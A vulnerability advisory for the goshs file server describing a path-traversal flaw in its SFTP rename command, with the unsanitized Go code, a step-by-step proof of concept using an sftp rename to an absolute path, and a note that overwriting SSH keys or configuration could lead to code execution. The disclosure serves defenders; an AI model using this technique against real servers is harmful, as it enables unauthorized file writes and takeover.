goshs is Missing Write Protection for Parametric Data Values

Summary

The SFTP command rename sanitizes only the source path and not the destination, so it is possible to write outside of the root directory of the SFTP.

Details

Here is the issue:

// helper.go:155-215
func cmdFile(root string, r *sftp.Request, ip string, sftpServer *SFTPServer) error {
    fullPath, err := sanitizePath(r.Filepath, root)  // Source: SANITIZED
    if err != nil {
        return err
    }
    switch r.Method {
    // ...
    case "Rename":
        err := os.Rename(fullPath, r.Target)  // Destination: NOT SANITIZED!

PoC

To exploit just upload a file on the SFTP and rename it to a file with full path.

Currently no key.txt file inside /tmp

$ ls key.txt
ls: key.txt: No such file or directory

Start the SFTP server:

/tmp/sftp-server $ goshs -sftp -b 'user:user' -d .
WARNING[2026-04-02 20:00:18] upload-folder mode deactivated due to use of 'sftp' mode
WARNING[2026-04-02 20:00:18] There is a newer Version (v2.0.0-beta.3) of goshs available. Run --update to update goshs.
INFO   [2026-04-02 20:00:18] Starting SFTP server on port 0.0.0.0:2022
WARNING[2026-04-02 20:00:18] You are using basic auth without SSL. Your credentials will be transferred in cleartext. Consider using -s, too.
INFO   [2026-04-02 20:00:18] Using basic auth with user 'user' and password 'user'
INFO   [2026-04-02 20:00:18] Download embedded file at: /example.txt?embedded
INFO   [2026-04-02 20:00:18] Serving on interface lo0 bound to 127.0.0.1:8000
INFO   [2026-04-02 20:00:18] Serving on interface en0 bound to 192.168.68.51:8000
INFO   [2026-04-02 20:00:18] Serving HTTP from /tmp/sftp-server

Connect to the SFTP and uploading the file:

$ sftp -P 2022 user@localhost
user@localhost's password:
Connected to localhost.
sftp> put /Users/user/Downloads/key.txt
Uploading /Users/user/Downloads/key.txt to /tmp/sftp-server/key.txt
key.txt                                                                                                                                                   100%   15    40.9KB/s   00:00

The file is stored properly.

goshs log:

INFO   [2026-04-02 20:03:31] SFTP: [::1]:61742 - [Put] - "/tmp/sftp-server/key.txt"

Rename command with full path:

sftp> rename key.txt /tmp/key.txt

goshs log:

INFO   [2026-04-02 20:04:09] SFTP: [::1]:61742 - [Rename] - "/tmp/sftp-server/key.txt to /tmp/key.txt"

Key file is now in /tmp

$ ls key.txt
key.txt

Impact

This allows file write and can be used either for an RCE in form of overwrite an SSH key, or by overwriting a configuration etc.